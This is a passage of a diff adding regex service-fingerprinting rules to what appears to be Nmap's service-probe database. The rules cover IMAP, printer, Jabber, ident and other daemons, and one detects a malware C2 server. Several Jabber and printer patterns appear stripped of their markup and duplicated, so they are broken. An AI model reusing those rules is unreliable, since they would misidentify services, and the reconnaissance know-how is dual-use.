HT\xff\xff\xff\xff$| p/Motorola Device Manager/ cpe:/a:motorola:device_manager/ + +match mrtgext-nlm m|^-1\n-1\n-1\n$| p/Novell NetWare MRTGEXT NLM Statistics/ o/NetWare/ cpe:/o:novell:netware/a + +match msn m|^{?Syntax Error : GET / HTTP/1\.0}? error\r\n$| p/amsn/ +match msn m|^{?Erreur de syntaxe : GET / HTTP/1\.0}? error\r\n$| p/amsn/ i/French/ +match msn m|^{? ?Erro de sintaxe : GET / HTTP/1\.0}? error\r\n$| p/amsn/ i/Portugese/ +match msn m|^{?Errore di sintassi : GET / HTTP/1\.0}? error\r\n$| p/amsn/ i/Italian/ + +# http://www.icbevr.com/ibank/ibank2/ +# byte 8 is a counter, so \x18 in byte 7 may also increment? +match ibank2 m|^\x02\0\0\x01E\(\x18.{25}$| + +match icap m|^ICAP/1\.0 501 Method not implemented.*\r\nServer: IronNet/([\d.]+)\r\n\r\n|s p/IronNet Compliance Application/ v/$1/ +match icap m|^ICAP/1\.0 501 Method not implemented.*\r\nService: ProxyAV AV scanner ([^\r\n]+)\r\n|s p/Blue Coat ProxyAV/ v/$1/ +match icap m|^ICAP/1\.0 501 Other\r\nServer: Traffic Spicer ([\d.]+)\r\n| p/Traffic Spicer icapd/ v/$1/ +match icap m|^ICAP/1\.0 501 Method not implemented\r\nConnection: close\r\n\r\n$| p/Symantec DLP Web Prevent icapd/ +match icap m|^ICAP/1\.0 400 Bad request\r\nServer: C-ICAP/([\w._-]+)\r\nConnection: close\r\n\r\n$| p/C-ICAP/ v/$1/ +softmatch icap m|^ICAP/1\.0 \d\d\d | + +# gidentd 0.4.5 on Linux 2.4.X +match ident m|^0, 0 : ERROR : INVALID-PORT\r\n$| p/gidentd/ +match ident m|^GET / HTTP/1\.0 : USERID : UNIX : ([-.\w]+)\r\n : USERID : UNIX : [-.\w]+\r\n| p/Nullidentd/ i/Claimed user: $1/ +match ident m|^GET / HTTP/1\.0 : USERID : UNIX : ([-.\w]+)\r\n$| p/Liedentd/ i/Claimed user: $1/ +# pidentd 2.81 +match ident m|^0 , 0 : ERROR : X-INVALID-REQUEST\r\n$| p/pidentd/ +# pidentd 3.1a25 on Linux 2.4.20 (SuSE 8.2) +match ident m|^GET : ERROR : UNKNOWN-ERROR\r\n$| p/pidentd/ +match ident m|^0, 0 : ERROR : INVALID-AUTH-REQ-INFO : CAPABILITY=USER-INTERACTION : AUTH-MECH=KEBEROS_V4\r\n$| p/Stanford PC-leland identd/ +# fair-identd-20000201 +# pidentd-2.8.5-3 +match ident m|^0 , 0 : ERROR : UNKNOWN-ERROR\r\n$| p/pidentd/ i/could be fair-identd/ +# identd 1.1 on Linux 2.4.21 +# linux-identd 1.2 - http://www.fukt.bth.se/~per/identd +match ident m|^GET / HTTP/1\.0 : ERROR : INVALID-PORT\r\n : ERROR : INVALID-PORT\r\n$| p/Linux-identd/ o/Linux/ cpe:/o:linux:linux_kernel/a +# HP-UX ident +match ident m|^0 , 0 : ERROR : INVALID-PORT\r\n| p/HP-UX identd/ o/HP-UX/ cpe:/o:hp:hp-ux/a +match ident m|^GET / HTTP/1\.0 : USERID : UNIX : [^\r\n]+\r\n| p/KVIrc fake identd/ + +# uw-imap 2003debian0.0304182231-1 +match imap m|^\* OK \[CAPABILITY IMAP4REV1 X-NETSCAPE LOGIN-REFERRALS STARTTLS LOGINDISABLED\] \[[-.\w]+\] IMAP4rev1 200[-.\w]+ at .*\r\nGET BAD Command unrecognized/login please: /\r\n\* BAD Null command\r\n| p/UW imapd/ cpe:/a:uw:imap_toolkit/ +match imap m|^\* OK \[[-.+\w]+\] IMAP4rev1 v1(\d[-.\w]+) server ready\r\n| p/UW imapd/ v/1$1/ cpe:/a:uw:imap_toolkit:1$1/ +match imap m|^\* OK ([-.+\w]+) IMAP4rev1 v1(\d[-.\w]+) server ready\r\n| p/UW imapd/ v/1$2/ h/$1/ cpe:/a:uw:imap_toolkit:1$2/ +# gnu/mailutils imap4d 0.3.2 on Linux +match imap m|^\* OK IMAP4rev1\r\nGET BAD Invalid command\r\n\* BAD Null command\r\n$| p/GNU Mailutils imapd/ cpe:/a:gnu:mailutils/ +# Cyrus IMAP 2.1.14 +match ssl/imap m|^\* BYE Fatal error: tls_start_servertls\(\) failed\r\n$| p/Cyrus imapd/ cpe:/a:cmu:cyrus_imap_server/ +match imap m|^\* OK ([-\w_.]+)\r\nGET BAD Error in IMAP command received by server\.\r\n\* BAD Error in IMAP command received by server\.\r\n| p/Dovecot imapd/ h/$1/ cpe:/a:dovecot:dovecot/ +match imap m|^\* OK .*\r\nGET BAD Error in IMAP command received by server\.\r\n\* BAD Error in IMAP command received by server\.\r\n| p/Dovecot imapd/ cpe:/a:dovecot:dovecot/ +# Too general -- also matches Cyrus imapd 2.3.9. +# match imap m|^\* OK .*\r\nGET BAD Please login first\r\n| p/Dovecot imapd/ i/auth required/ cpe:/a:dovecot:dovecot/ +match imap m|^\* OK IMAP4 IMAP4rev1 Server\r\nGET BAD Unrecognised Command\r\n| p/Floosietek FTgate imapd/ +match imap m|^\* OK IMAP4r1 server \[([-\w_.]+)\] ready\r\nGET BAD Protocol Error: \"Unidentifiable command specified\"\.\r\n\* BAD Protocol Error: \"Tag not found in command\"\.\r\n| p/Microsoft Exchange imapd/ i/Version masked/ o/Windows/ h/$1/ cpe:/a:microsoft:exchange_server/ cpe:/o:microsoft:windows/a +match imap m|^\* OK IMAP4rev1 server ready at \d\d/\d\d/\d\d \d?\d:\d\d:\d\d\r\nGET BAD UNKNOWN Command\r\n\r\n BAD UNKNOWN Command\r\n| p/MailEnable imapd/ o/Windows/ cpe:/a:mailenable:mailenable/ cpe:/o:microsoft:windows/a +match imap m|^\* OK IMAP4rev1 server ready\r\nGET BAD Unknown command '/'\r\n BAD Unknown command ''\r\n| p/Kerio imapd/ +match imap m|^\* OK Gimap ready for requests from [\d\.]+ ([\w\d]+)| p/Google Gmail imapd/ i/$1/ +match imap m|^\* OK .*IMAP4rev1 Server Completed\r\nGET BAD Protocol Error: Invalid IMAP command specified\r\n| p/Cisco imapd/ +# embyte +match imap m|^\* OK MailSite IMAP4 Server ([-.\w]+) ready| p/MailSite imapd/ v/$1/ +match imap m|^\* OK ([\w._-]+) Welcome \(cimap\)\r\nGET BAD Invalid command \(/\)\r\n\* BAD - command line Insufficient tokens \(\)\r\n| p/SurgeMail imapd/ h/$1/ cpe:/a:netwin:surgemail/ +match imap m|^GET NO Error in IMAP command received by server\.\r\n| p/cPanel Courier imapd/ +match imap m|^\* OK .*\r\nGET BAD Unknown or NULL command\r\n BAD NULL COMMAND\r\n| p/hMailServer imapd/ o/Windows/ cpe:/o:microsoft:windows/a +match imap m|^\* OK ([\w._-]+)\r\nGET BAD Unknown or NULL command\r\n BAD NULL COMMAND\r\n| p/hMailServer imapd/ o/Windows/ h/$1/ cpe:/o:microsoft:windows/a +match imap m|^\* OK \[CAPABILITY IMAP4rev1 [^]]*\]\r\nGET NO Error in IMAP command received by server\.\r\n\* NO Error in IMAP command received by server\.\r\n| p/Plesk Courier imapd/ +match imap m|^\* OK \[CAPABILITY IMAP4rev1 [^]]*\] ([\w.-]+) server ready\r\nGET BAD Please login first\r\n\* BAD Invalid tag\r\n| p/Cyrus imapd/ h/$1/ cpe:/a:cmu:cyrus_imap_server/ + +match http m|^HTTP/1\.1 200 OK\r\nContent-Type: application/xml; charset=utf-8\r\n\r\n<\?xml version=\"1\.0\" encoding=\"UTF-8\"\?>$| p/InterSystems Cache httpd/ +match intermec-bri m|^ERR UNAVAILABLE\r\nOK>\r\nOK>\r\n| p/Intermec Basic Reader Interface/ + +# Server: CUPS/1.1 +match ipp m|^HTTP/1\.0 \d\d\d .*Home - CUPS ([\d.]+).*SUMMARY=\"Common UNIX Printing System|s p/CUPS/ v/$1/ cpe:/a:apple:cups:$1/ +match ipp m|^HTTP/1\.0 \d\d\d (?:[^\r\n]*\r\n(?!\r\n))*?Server: CUPS/([-\w_.]+)|s p/CUPS/ v/$1/ cpe:/a:apple:cups:$1/ +match ipp m|^lpd \[@[-.\w]+\]: Host name for your address \([:.\d]+\) is not known\n$| p/CUPS/ cpe:/a:apple:cups/ +match ipp m|^HTTP/1\.0 \d\d\d .*\r\nDate: .*\r\nServer: EPSON-IPP/([\d.]+)\r\nContent-Type: application/ipp\r\nContent-Length: \d+\r\n\r\n| p/Epson ippd/ v/$1/ d/print server/ +match ipp m|^HTTP/1\.1 411 Length Required\r\nSERVER: EpsonNet IPP-SERVER/([\w._-]+)\r\nCONTENT-LENGTH: 0\r\n\r\n| p/Epson ippd/ v/$1/ i/AL-C2800 printer/ d/printer/ +match ipp m|^HTTP/1\.0 404 Not Found\r\nCache-Control: no-cache\r\nDate: .*\r\nPragma: no-cache\r\nContent-Type: text/html\r\nContent-Length: 91\r\nServer: Web-Server/([\d.]+)\r\n\r\n404 Not Found\n

          404 Not Found

          \0| p/Web-Server httpd/ v/$1/ i/NRG copier or Ricoh Aficio printer http config/ d/printer/ +match ipp m|^HTTP/1\.1 404 Not Found\r\nConnection: close\r\nContent-Type: text/html\r\nContent-Length: 89\r\nServer: Web-Server/([\d.]+)\r\n\r\n404 Not Found

          404 Not Found

          $| p/Web-Server httpd/ v/$1/ i/NRG copier or Ricoh Aficio printer http config/ d/printer/ +match ipp m|^HTTP/1\.1 \d\d\d .*\r\nDate: .*\r\nServer: CANON HTTP Server Ver(\d[-.\w ]+)\r\n| p/Canon printer http config/ v/$1/ +match ipp m|^HTTP/1\.1 \d\d\d .*\r\nDate: .*\r\nServer: Canon Http Server (\d[-.\w ]+)\r\n| p/Canon printer http config/ v/$1/ +match ipp m|^HTTP/1\.0 200 OK\r\nContent-Type: text/html\r\n\r\n\r\nIBM Infoprint Color (\d+)| p/IBM Infoprint Color $1 ippd/ d/printer/ cpe:/h:ibm:infoprint_color_$1/ +match ipp m|^HTTP/1\.1 301 Moved Permanently\r\nServer: Virata-EmWeb/R([\w_]+)\r\nLocation: https://[\d.]+/\r\nContent-Type: text/html\r\nContent-Length: 90\r\n\r\nMoved\r\n| p/Virata-EmWeb/ v/$SUBST(1,"_",".")/ i/HP Laserjet 4200TN http config/ d/printer/ cpe:/a:virata:emweb:$SUBST(1,"_",".")/a cpe:/h:hp:laserjet_4200tn/a +match ipp m|^HTTP/1\.0 \d\d\d .*\r\nContent-Type: text/html\r\n\r\n\r\nDell Laser Printer 1700n| p/Dell Laser Printer 1700n ippd/ d/printer/ cpe:/h:dell:1700n/ +match ipp m|^HTTP/1\.0 \d\d\d .*Common UNIX Printing System.*HREF=\"http://www\.easysw\.com\" ALT=\"Easy Software Products Home Page\">\n|s p/Easy Software Products CUPS/ +match ipp m|^Not Found

          Not Found

          The requested URL \"\"was not found on this server\.\r\n| p/Epson 980N Printer/ d/printer/ cpe:/h:epson:980n/a +match ipp m|^HTTP/1\.0 400 Bad Request\r\nConnection: close\r\nContent-Type: text/html\r\n(?:; charset=utf-8)?\r\nContent-Length: \d+\r\nCache-Control: (?:max-age=0, no-store, )?no-cache\r\n\r\n\n\n\nInvalid Request\n\n\n\n

          \n\n\nInvalid Request\. Some Error\n\n\n\n\n| p/Xerox or Samsung ipp/ d/printer/ +match ipp m|^HTTP/1\.0 404 Not found\r\n\r\n404 Not found$| p/Xerox WorkCentre IPP/ d/printer/ +match ipp m|^HTTP/1\.0 404 Not Found\r\nDate: .*\r\nContent-Language: C\r\nUpgrade: TLS/1\.0,HTTP/1\.1\r\nConnection: close\r\nContent-Type: text/html\r\nContent-Length: 138\r\n\r\n404 Not Found

          Not Found

          The requested resource was not found on this server\.\n| p/Thecus N5200 IPP/ d/storage-misc/ cpe:/h:thecus:n5200_nas_server/ +match ipp m|^HTTP/1\.1 200 OK\r\nPragma: no-cache\r\nConnection: close\r\nContent-Type: text/html\r\n\r\n

          For more printserver info please open the [\d.]+ home page$| p/Kyocera Mita KM-1530 IPP/ d/printer/ cpe:/h:kyocera:mita_km-1530/ +match ipp m|^HTTP/1\.0 405 Method Not Allowed\r\nContent-Type: text/html\r\nCache-Control: public,max-age=86400\r\nPragma: cache\r\nExpires: .*\r\nDate: .*\r\nLast-Modified: .*\r\nAccept-Ranges: bytes\r\nConnection: close\r\n\r\n| p/Netia Spot ipp/ d/broadband router/ +match ipp m|^HTTP/1\.0 200 OK\r\nContent-Type: text/plain; charset=UTF-8\r\n\r\nreturn_code=FCS9015\?error_text=This server does not support this API\.| p/PrinterOn Print Delivery Gateway ipp/ cpe:/a:printeron:print_delivery_gateway/ +# Fuji Xerox DocuCentre-V C4475 T2 +match ipp m|^HTTP/1\.0 301 Moved Permanently\r\nDate: .*\r\nPragma: no-cache\r\nLocation: http:///\r\nContent-Length: 109\r\nContent-Type: text/html\r\n\r\n301 Moved Permanently\t\t

          301 Moved Permanently

          \r\n| p/Fuji Xerox DocuCentre-V ipp/ d/printer/ +match ipp m|^HTTP/1\.1 403 Forbidden\r\nConnection: close\r\nContent-Type: text/html\r\nContent-Length: 89\r\nServer: Web-Server/3\.0\r\n\r\n403 Forbidden

          403 Forbidden

          | p/Ricoh Aficio printer ipp/ d/printer/ +match ipp m|^HTTP/1\.1 400 Bad Request\r\nContent-Length: 29\r\nContent-Type: text/html\r\nConnection: close\r\n\r\n 400 Bad Request from Browser| p/Konica Minolta BizHub C224e printer ipp/ d/printer/ cpe:/h:konicaminolta:bizhub_c224e/a + +match irc m|^:Default-Chat-Community 421 \* GET :Unknown command\r\n| p/Microsoft Exchange 2000 Server Chat Service/ o/Windows/ cpe:/a:microsoft:exchange_server:2000/ cpe:/o:microsoft:windows/a +match irc m|^:([-\w_.]+) 451 :You have not registered your connection\r\n$| p/Wircsrv/ o/Windows/ h/$1/ cpe:/o:microsoft:windows/a +match irc m|^ERROR :Closing Link: \[[^]]*\] \(HTTP command from IRC connection \(ATTACK\?\)\)\r\n| p/UnrealIRCd/ cpe:/a:unrealircd:unrealircd/ +match irc m|^HTTP/1\.0 400 Wrong Port\r\nServer: ConferenceRoom/IRC (\d[\w._-]+)\r\n| p/WebMaster ConferenceRoom ircd/ v/$1/ cpe:/a:webmaster:conferenceroom:$1/ + +match ingrian-xml m|^false101Could not parse client request| p/Ingrian NAE XML daemon/ d/security-misc/ + +# Jabber 1.4.2 +match jabber m|^| p/Jabber instant messaging server/ i/Protocol $1/ cpe:/a:jabberd:jabberd/ +match jabber m|^| p/Jabber instant messaging server/ i/Protocol $1/ cpe:/a:jabberd:jabberd/ + +match jabber m|^<\?xml version='1\.0'\?>| p/ejabberd/ i/Protocol $2/ h/$1/ cpe:/a:process-one:ejabberd/ +match jabber m|^<\?xml version='1\.0'\?>| p/ejabberd/ i/Protocol $2/ h/$1/ cpe:/a:process-one:ejabberd/ +match jabber m|^<\?xml version='1\.0'\?>| p/ejabberd/ cpe:/a:process-one:ejabberd/ +match jabber m|^<\?xml version='1\.0'\?>| p/jit-transport jabber-ICQ transport/ h/$1/ +match jabber m|^Invalid XML$| p/Jabber instant messaging server/ cpe:/a:jabberd:jabberd/ +match jabber m|^Invalid XML$| p/Jabber instant messaging server/ cpe:/a:jabberd:jabberd/ +match jabber m|^Invalid XML| p/jabberd instant messaging server/ cpe:/a:jabberd:jabberd/ +match jabber m|^<\?xml version=\"1\.0\"\?>$| p/Facebook Chat XMPP/ h/$1/ +match jabber m|^<\?xml version='1\.0'\?>$| p/Prosody Jabber server/ v/0.7.0 or older/ cpe:/a:prosody:prosody/ +match jabber m|^<\?xml version='1\.0'\?>$| p/Prosody Jabber client/ v/0.7.0 or older/ cpe:/a:prosody:prosody/ +# 0.8.0 changed "xml-not-well-formed" to "not-well-formed" +match jabber m|^<\?xml version='1\.0'\?>$| p/Prosody Jabber server/ v/0.8.0 or newer/ cpe:/a:prosody:prosody/ +match jabber m|^<\?xml version='1\.0'\?>$| p/Prosody Jabber client/ v/0.8.0 or newer/ cpe:/a:prosody:prosody/ +match jabber m|^<\?xml version='1\.0'\?>$| p/Prosody Jabber client/ v/0.8.0 or newer/ cpe:/a:prosody:prosody/ +match jabber m|^<\?xml version='1\.0'\?>$| p/Prosody Jabber server/ v/0.8.0 or newer/ cpe:/a:prosody:prosody/ +match jabber m|^<\?xml version='1\.0'\?>| p/Prosody Jabber server/ cpe:/a:prosody:prosody/ +# 0.10 +match jabber m|^<\?xml version='1\.0'\?>| p/Prosody Jabber server/ cpe:/a:prosody:prosody/ +# empty id removed +match jabber m|^<\?xml version='1\.0'\?>| p/Prosody Jabber client/ cpe:/a:prosody:prosody/ +match jabber m|^<\?xml version='1\.0'\?>| p/Prosody Jabber server/ cpe:/a:prosody:prosody/ +# empty from and to attributes added +# 0.9.8 +match jabber m|^<\?xml version='1\.0'\?>| p/Prosody Jabber server/ i/dialback/ cpe:/a:prosody:prosody/ +match jabber m|^<\?xml version='1\.0'\?>| p/Prosody Jabber server/ i/dialback/ cpe:/a:prosody:prosody/ + +match jabber m|^<\?xml version='1\.0'\?>| p/Isode M-Link Jabber client/ cpe:/a:isode:m-link/ +match jabber m|^<\?xml version='1\.0'\?>| p/Isode M-Link Jabber server/ cpe:/a:isode:m-link/ + +match jabber m|^<\?xml version='1\.0' encoding='UTF-8'\?>\n\n$| p/Empathy Jabber client/ +match jabber m|^<\?xml version='1\.0'\?>| p/MongooseIM/ cpe:/a:erlang-solutions:mongooseim/ + +match james-admin m|^JAMES Remote Administration Tool ([\d.]+)\nPlease enter your login and password\nLogin id:\n| p/JAMES Remote Admin/ v/$1/ + +match jicp m|^d\x08\x1c\0\0\0Uncorrect JICP data type: 71$| p/Jade Inter Container Protocol/ + +match olsrd-jsoninfo m|^{\n\"links\": \[[^]]*\]\n,\n\t\"neighbors\": \[[^]]*\]\n,\n\t| p/olsrd jsoninfo plugin/ + +match jxta m|^JXTAHELLO tcp://[\d.]+:\d+ tcp://[\d.]+:\d+ | p/JXTA P2P Collaboration daemon/ + +match kazaa-http m|^HTTP/1\.1 \d\d\d .*\r\nServer: giFT-FastTrack ([\d.]+)\r\nX-Kazaa-Username: giFTed\r\nX-Kazaa-Network: ([-.\w]+)\r\n| p/giFTed FastTrack P2P client/ v/$1/ i/network: $2/ +match kazaa-http m|^HTTP/1\.1 \d\d\d .*\r\nServer: giFT-FastTrack ([\d.]+)\r\nX-Kazaa-Username: www\.k-lite\.com\.br\r\nX-Kazaa-Network: ([-.\w]+)\r\n| p/K-Lite FastTrack P2P client/ v/$1/ i/network: $2/ + +match kazaa-http m|^HTTP/1\.0 404 Not Found\r?\nX-Kazaa-Username: (\S+)\r\nX-Kazaa-Network: ([-.\w]+)\r\n| p/KaZaA P2P client/ i/username: $1; network: $2/ +match kazaa-http m|^HTTP/1\.[01] 404 Not Found\r?\nServer: giFT-FastTrack ([\d.]+)\r\nX-Kazaa-Username: (\S+)\r\nX-Kazaa-Network: ([-.\w]+)\r\n| p/KaZaA P2P client/ v/$1/ i/username: $2; network: $3/ + +match kazaa-peerpoint m|^HTTP/1\.0 404 Not Found\n\r\n$| p/KaZaA P2P client Peer Point Manager/ + +match kdb m|^HTTP/1\.1 200 OK\r\nContent-Type: text/html\r\nConnection: close\r\nContent-Length: 107\r\n\r\n| p/kdb+ http interface/ cpe:/a:kx_systems:kdb%2b/ + +match kerberos-sec m|^\0\0\0.~\x81.0\x81..\x03\x02\x01\x05.\x03\x02\x01\x1e.\x11\x18\x0f|s p/Mac OS X kerberos-sec/ o/Mac OS X/ cpe:/a:apple:kerberos:5/ cpe:/o:apple:mac_os_x/a + +match lcdproc m|^huh\? Invalid command \"GET\"\n| p/LCDProc screen interface daemon/ + +match listserv m|^The file name you specified is invalid\. LISTSERV files have names like\r\n\"BOARD\.MINUTES\" or \"XYZ-L LOG9303\" \(without the quotes\)\.\r\n| p/LISTSERV Administration service/ cpe:/a:lsoft:listserv/ + +match loadrunner-vts m|^\x02\0\0\0\x84\0\$\0\x03\0\x08 \0\0\x06\0\x05\0\x15Wrong version: 71\x02\0\0\0\x81\0\x07| p/HP LoadRunner Virtual Table Server/ cpe:/a:hp:loadrunner/ + +softmatch lscp m|^ERR:0:syntax error, unexpected '/' \(line:1,column:5\)\.| + +match megafillers m|^400 Unknown command\.\.\. Are you surprised\?\r\n$| p/MegaFillers game server/ + +match mogilefs m|^ERR unknown_command Unknown\+server\+command\r\n| p/MogileFS distributed filesystem/ + +match moneyworks m|^This is MoneyWorks; Server is on Windows\n$| p/MoneyWorks accounting software/ o/Windows/ cpe:/o:microsoft:windows/a + +match mosmig m|^GET \0\0\0\0TP/1\.0\r\n$| p/OpenMosix Process Migration Service/ o/Linux/ cpe:/o:linux:linux_kernel/a + +# MLDonkey 2.5 +match napster m|^1INVALID REQUEST$| p/MLDonkey multi-network P2P client/ +match napster m|^1$| p/WinMX or Lopster Napster P2P client/ +match bittorrent-tracker m|^HTTP/1\.1 404 Not Found\r\nServer: MLdonkey\r\nConnection: close\r\nContent-Type: application/x-bittorrent\r\nContentlength: 0\r\n\r\n| p/MLDonkey multi-network P2P client/ +match bittorrent-tracker m|^HTTP/1\.1 200 OK\r\nServer: MLdonkey/([\w._-]+)\r\nConnection: close\r\nContent-length: 53\r\n\r\nd14:failure reason31:Failure\(\"Incorrect filename 1\"\)e| p/MLDonkey multi-network P2P client/ v/$1/ +match bittorrent-tracker m|^HTTP/1\.1 200 OK\r\nServer: MLdonkey\r\n| p/MLDonkey P2P client http config/ +# Don't know the server name for this one. It's the same as the "your file may +# exist elsewhere in the universe\nbut alas, not here" under FourOhFourRequest. +match bittorrent-tracker m|^HTTP/1\.0 200 OK\r\n.*\nBitTorrent download info\n\n.*tracker version: ([\w._-]+)|s p/BitTornado tracker httpd/ v/$1/ + +match ndb_mgmd m|^result: Unknown command, 'GET / HTTP/1\.0'\n\n| p/MySQL cluster management server/ v/5.1/ cpe:/a:mysql:mysql:5.1/ + +# Original path was "/opt/openerp/server/bin/service/netrpc_server\.py\" +match net-rpc m|^ 4041\(lp1\ncexceptions\nValueError\np2\n\(S\"invalid literal for int\(\) with base 10: 'GET / HT'\"\np3\ntp4\nRp5\naS'Traceback \(most recent call last\):\\n File \"([\w._/-]+)/netrpc_server\.py\", line 69, in run\\n| p/OpenERP NET-RPC/ i/path: $1/ o/Unix/ +match net-rpc m|^ 5051\(lp1\ncexceptions\nException\np2\n\(Vinvalid literal for int\(\) with base 10: 'GET / HT'\np3\ntp4\nRp5\naS'Traceback \(most recent call last\):\\n File \"([\w._/-]+)/netrpc_server\.py\", line 63, in run\\n| p/OpenERP NET-RPC/ i/path: $1/ o/Unix/ + +match netbios-ssn m|^\x83\0\0\x01\x82\x7c\x8f$| +match netwareip m|^\xfb\xff\xfe\xff\xfb\xff\xfe\xff\xfb\xff\xfe\xff$| p|Novell NetWare/IP| o/NetWare/ cpe:/o:novell:netware/a + +match nimbud-netmon m|^nimbus/([\d.]+) \d+ \d+\r\nmtype| p/Nimsoft Nimbus network monitor/ v/$1/ + +match ntrip m|^SOURCETABLE 200 OK\r\nServer: NTRIP Caster ([\w._-]+)/([\w._-]+)\r\nContent-Type: text/plain\r\n| p/Ntrip Caster/ v/$1/ i/protocol $2/ + +match giop m|^GIOP\x01\0\x01\x06\0\0\0\0$| p/omniORB omniNames/ i/Corba naming service/ + +match obiee m|^\x0c\x01\0\0\x03\0\0\0\x84\0\0\0\[\0n\0Q\0S\0E\0r\0r\0o\0r\0:\0 \x001\x002\x000\x003\x003\0\]\0 \0A\0 \0c\0l\0i\0e\0n\0t\0 \0t\0r\0i\0e\0d\0 \0t\0o\0 \0c\0o\0n\0n\0e\0c\0t\0 \0t\0o\0 \0a\0 \0s\0e\0r\0v\0e\0r\0 \0t\0h\0a\0t\0 \0i\0s\0 \0n\0o\0t\0 \0o\0f\0 \0t\0h\0e\0 \0r\0i\0g\0h\0t\0 \0t\0y\0p\0e\0\.\0\n\0\[\0n\0Q\0S\0E\0r\0r\0o\0r\0:\0 \x004\x003\x001\x001\x003\0\]\0 \0M\0e\0s\0s\0a\0g\0e\0 \0r\0e\0t\0u\0r\0n\0e\0d\0 \0f\0r\0o\0m\0 \0O\0B\0I\0S\0\.\0| p/Oracle BI Server/ + +match oem-agent m|^HTTP/1\.1 \d\d\d (?:[^\r\n]*\r\n(?!\r\n))*?Connection: Close\r\nX-ORCL-EMSV: ([\d.]+)\r\n|s p/Oracle Enterprise Manager Agent httpd/ v/$1/ cpe:/a:oracle:enterprise_manager:$1/ + +match openerp m|^[ \d]{8}1\(lp1\ncexceptions\nException\np2\n\(Vinvalid literal for int\(\) with base 10: 'GET / HT'\np3\ntp4\nRp5\naS'Traceback \(most recent call last\):\\n File \"(.*?)/openerp/service/netrpc_server\.py\", line 63, in run\\n msg = ts\.myreceive\(\)\\n File \".*?/openerp/tiny_socket\.py\", line 76, in myreceive\\n size = int\(buf\)\\nValueError: invalid literal for int\(\) with base 10: \\'GET / HT\\'\\n'\np6\na\.| p/OpenERP/ v/6.1/ i/install path: $1/ +match opinionsquare m|^HTTP/1\.0 505 HTTP Version not supported\r\n\r\n$| p/OpinionSquare application/ + +# http://documents.opto22.com/1465_OptoMMP_Protocol_Guide.pdf +match optommp m|^GET / P\0\0\0\0\0| p/OptoMMP/ + +# Oracle MTS Recovery Service 9.2.0.1 on Windows 2000 Professional +match oracle-mts m|^HTTP/1\.0 200 OK\r\nContent-length: 7\r\n\r\nunknown$| p/Oracle MTS Recovery Service/ +# Windows 2003 +match oracle-mts m|^HTTP/1\.0 400 Bad Request\r\nContent-length: 15\r\nContent-type: text/html\r\n\r\n400 Bad Request$| p/Oracle MTS Recovery Service/ + +match oracle-nm m|^-ERR Invalid command name 'GET'\r\n-ERR Invalid command name ''\r\n| p/Oracle WebLogic Server Node Manager/ cpe:/a:oracle:weblogic_server/ + +match oracle-vs m|^\(err \(type xen\.xend\.XendError\.XendError\) \(value 'Invalid operation: GET'\)\)\n$| p/Oracle Virtual Service Agent/ i/Xen/ +match oracle-vs m|^\(err \(type \"\"\) \(value 'Invalid operation: GET'\)\)\n$| p/Oracle Virtual Service Agent/ i/Xen/ + +match ormi m|^\xe3\r\n\r\n\0\x01\0.\0vInvalid protocol verification, illegal ORMI request or request performed with an incompatible version of this protocol|s p/Oracle Remote Method Invocation/ +match ormi m|^\xe3\r\n\r\n\0\x01\0\x03\x0b\0vInvalid protocol verification, illegal ORMI request or request performed with an incompatible version of this protocol| p/Oracle Remote Method Invocation/ + +match pcs-partner m|^notAuthenticated\n| p/SpliceCom PCS Partner Protocol/ d/VoIP phone/ + +match ssl/pop3 m|^-ERR \[SYS/PERM\] Fatal error: tls_start_servertls\(\) failed\r\n$| p/Cyrus pop3sd/ cpe:/a:cmu:cyrus_imap_server/ +match ssl/pop3 m|^-ERR Fatal error: pop3s: required OpenSSL options not present\r\n| p/Cyrus pop3sd/ cpe:/a:cmu:cyrus_imap_server/ +# Postgresql-server-7.3.2-3 +match postgresql m|^EFATAL: invalid length of startup packet\n\0$| p/PostgreSQL DB/ cpe:/a:postgresql:postgresql/ +# Doesn't look like this line number has changed, but the file name may have. +match pgpool m|^E\0\0\0.S[^\0]+\0CXX000\0M[^\0]*\0D[^\0]*\0Fpcp_worker\.c\0L176\0\0| p/pgpool-II/ cpe:/a:pgpool:pgpool-ii/ +match postgrey m|^action=dunno\n\n$| p/Postfix Greylist Daemon/ +match powerchute m|^server=&type=0&id=&count=1&oid=[\d.]+&value=&error=4\n| p/APC Powerchute/ d/power-device/ + +match niprint m|^NIPrint received command: ET / HTTP/1\.0\r\.\r\nThis command is not in LPD specification, ignored\r\nNIPrint received command: \.\r\nThis command is not in LPD specification, ignored\r\n| p/Network Instruments NIPrint network analyzer/ + +match ratnj m|^0\0$| p/RatNJ C2 server/ i/malware/ +match raop m|^RTSP/1\.0 401 Unauthorized\r\nServer: AirTunes/([\w._-]+)\r\nWWW-Authenticate: Digest realm=\"raop\" nonce=\"\w+\"\r\n\r\n$| p/Apple AirTunes RAOP/ v/$1/ i/Apple AirPort Express/ d/WAP/ cpe:/h:apple:airport_express/ + +match redis m|^-ERR wrong number of arguments for 'get' command\r\n$| p/Redis key-value store/ +match redis m|^-ERR wrong number of arguments for 'GET' command\r\n$| p/Redis key-value store/ +# Later EMC Retrospect, then Roxio Retrospect, then Retrospect, Inc. Retrospect +match retrospect m|^\0\xca\0\0\0\0\0\x04\0\0\0\0$| p/Dantz Retrospect/ v/6.0/ cpe:/a:dantz:retrospect:6.0/ + +# http://www.librelp.com/relp.html +match relp m|^0 serverclose 0\n$| p/Reliable Event Logging Protocol/ + +match rfidquery m|^Error 0 parse error\n\nError 0 parse error\n\nError 0 parse error\n\nError 0 parse error\n\nError 0 parse error\n\nError 0 parse error\n\nError 0 parse error\n\n$| p/Mercury3 RFID Query protocol/ + +softmatch rotctld m|^RPRT -1\n| p/Hamlib rotctld/ + +match rtsp m|^RTSP/1.0 400 Bad Request\r\nServer: DSS/([-.\w]+) \[(v\d+)]-(\w+)\r\n| p/DarwinStreamingServer/ v/$1/ i/$2 on $3/ +match rtsp m|^RTSP/1\.0 400 Bad Request\r\nServer: QTSS/([\d.]+ \[v\d+\]-Win32)\r\nCseq: \r\n| p/Apple QuickTime Streaming Server/ v/$1/ o/Windows/ cpe:/a:apple:quicktime_streaming_server:$1/ cpe:/o:microsoft:windows/a +match rtsp m|^RTSP/1\.0 400 Bad Request\r\nServer: QTSS/([\d.]+ \[\d+\]-Linux)\r\nCseq: \r\n| p/Apple QuickTime Streaming Server/ v/$1/ o/Linux/ cpe:/a:apple:quicktime_streaming_server:$1/ cpe:/o:linux:linux_kernel/a +match rtsp m|^RTSP/1\.0 400 Bad Request\r\nServer: QTSS/([\d.]+) \(Build/([\d.]+); Platform/MacOSX; ([^)]*); \)\r\n| p/Apple QuickTime Streaming Server/ v/$1 